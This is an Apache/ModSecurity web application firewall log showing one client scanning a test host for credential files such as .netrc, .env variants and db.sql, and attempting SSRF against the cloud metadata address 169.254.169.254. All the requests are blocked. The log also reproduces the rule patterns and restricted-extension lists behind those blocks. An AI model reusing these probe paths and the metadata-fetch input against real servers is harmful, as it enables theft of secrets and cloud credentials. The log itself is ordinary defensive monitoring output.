[Tue Aug 05 11:03:27.136216 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0QAAAAI&quot;]
[Tue Aug 05 11:03:27.136416 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0QAAAAI&quot;]
[Tue Aug 05 11:03:27.136583 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0QAAAAI&quot;]
[Tue Aug 05 11:03:27.227708 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst1QAAAAI&quot;]
[Tue Aug 05 11:03:27.227893 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst1QAAAAI&quot;]
[Tue Aug 05 11:03:27.228056 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst1QAAAAI&quot;]
[Tue Aug 05 11:03:29.671095 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aJHI4YT2dZ5PqApOWJqJwAAAAAw&quot;]
[Tue Aug 05 11:03:29.671334 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aJHI4YT2dZ5PqApOWJqJwAAAAAw&quot;]
[Tue Aug 05 11:03:29.671502 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aJHI4YT2dZ5PqApOWJqJwAAAAAw&quot;]
[Tue Aug 05 11:03:30.266659 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJyAAAAAw&quot;]
[Tue Aug 05 11:03:30.267000 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJyAAAAAw&quot;]
[Tue Aug 05 11:03:30.267196 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJyAAAAAw&quot;]
[Tue Aug 05 11:03:30.429515 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJzAAAAAw&quot;]
[Tue Aug 05 11:03:30.429921 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJzAAAAAw&quot;]
[Tue Aug 05 11:03:30.430111 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aJHI4oT2dZ5PqApOWJqJzAAAAAw&quot;]
[Tue Aug 05 11:03:31.430563 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3AAAAAw&quot;]
[Tue Aug 05 11:03:31.430965 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3AAAAAw&quot;]
[Tue Aug 05 11:03:31.431146 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3AAAAAw&quot;]
[Tue Aug 05 11:03:31.470569 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3QAAAAw&quot;]
[Tue Aug 05 11:03:31.470781 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3QAAAAw&quot;]
[Tue Aug 05 11:03:31.470968 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3QAAAAw&quot;]
[Tue Aug 05 11:03:31.802479 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3gAAAAw&quot;]
[Tue Aug 05 11:03:31.802727 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3gAAAAw&quot;]
[Tue Aug 05 11:03:31.802937 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3gAAAAw&quot;]
[Tue Aug 05 11:03:31.845183 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3wAAAAw&quot;]
[Tue Aug 05 11:03:31.845339 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3wAAAAw&quot;]
[Tue Aug 05 11:03:31.845568 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3wAAAAw&quot;]
[Tue Aug 05 11:03:31.845750 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ3wAAAAw&quot;]
[Tue Aug 05 11:03:31.885567 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4AAAAAw&quot;]
[Tue Aug 05 11:03:31.885828 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4AAAAAw&quot;]
[Tue Aug 05 11:03:31.886020 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4AAAAAw&quot;]
